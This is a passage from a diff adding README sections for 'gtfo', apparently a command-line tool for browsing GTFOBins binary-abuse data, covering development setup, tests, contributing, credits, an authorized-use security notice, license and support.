+ ## Screenshots
118
+
119
+ <p align="center">
120
+ <img src="https://i.imgur.com/1EzFiGQ.png" width="45%" alt="GTFOBins CLI Screenshot 1">
121
+ &nbsp;&nbsp;&nbsp;&nbsp;
122
+ <img src="https://i.imgur.com/icgmDct.png" width="45%" alt="GTFOBins CLI Screenshot 2">
123
+ </p>
124
+
125
+ ## Development
126
+
127
+ ### Setting up Development Environment
128
+
129
+ ```bash
130
+ # Clone the repository
131
+ git clone https://github.com/t0thkr1s/gtfo
132
+ cd gtfo
133
+
134
+ # Create virtual environment
135
+ python -m venv venv
136
+ source venv/bin/activate # On Windows: venv\Scripts\activate
137
+
138
+ # Install in development mode
139
+ pip install -e .
140
+ ```
141
+
142
+ ### Running Tests
143
+
144
+ ```bash
145
+ # Install test dependencies
146
+ pip install pytest pytest-cov
147
+
148
+ # Run tests
149
+ pytest
150
+ ```
151
+
152
+ ## Contributing
153
+
154
+ Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.
155
+
156
+ 1. Fork the repository
157
+ 2. Create your feature branch (`git checkout -b feature/amazing-feature`)
158
+ 3. Commit your changes (`git commit -m 'Add some amazing feature'`)
159
+ 4. Push to the branch (`git push origin feature/amazing-feature`)
160
+ 5. Open a Pull Request
161
+
162
+ ## Credits
163
+
164
+ - Binary exploitation data from [GTFOBins](https://gtfobins.github.io/)
165
+ - Original GTFOBins project contributors
166
+ - Created and maintained by [t0thkr1s](https://github.com/t0thkr1s)
167
+
168
+ ## Security Notice
169
+
170
+ ⚠️ **Important**: This tool is designed for authorized security testing and educational purposes only. Users must:
171
+
172
+ - Only use this tool on systems they own or have explicit permission to test
173
+ - Comply with all applicable laws and regulations
174
+ - Understand that misuse of this tool may result in criminal charges
175
+
176
+ The developers assume no liability and are not responsible for any misuse or damage caused by this tool.
177
+
178
+ ## License
179
+
180
+ This project is licensed under the GNU General Public License v3.0 - see the [LICENSE](LICENSE) file for details.
181
+
182
+ ## Support
183
+
184
+ If you encounter any issues or have questions:
185
+
186
+ - Open an [issue](https://github.com/t0thkr1s/gtfo/issues)
187
+ - Check existing issues for solutions
188
+ - Consult the [GTFOBins website](https://gtfobins.github.io/) for additional information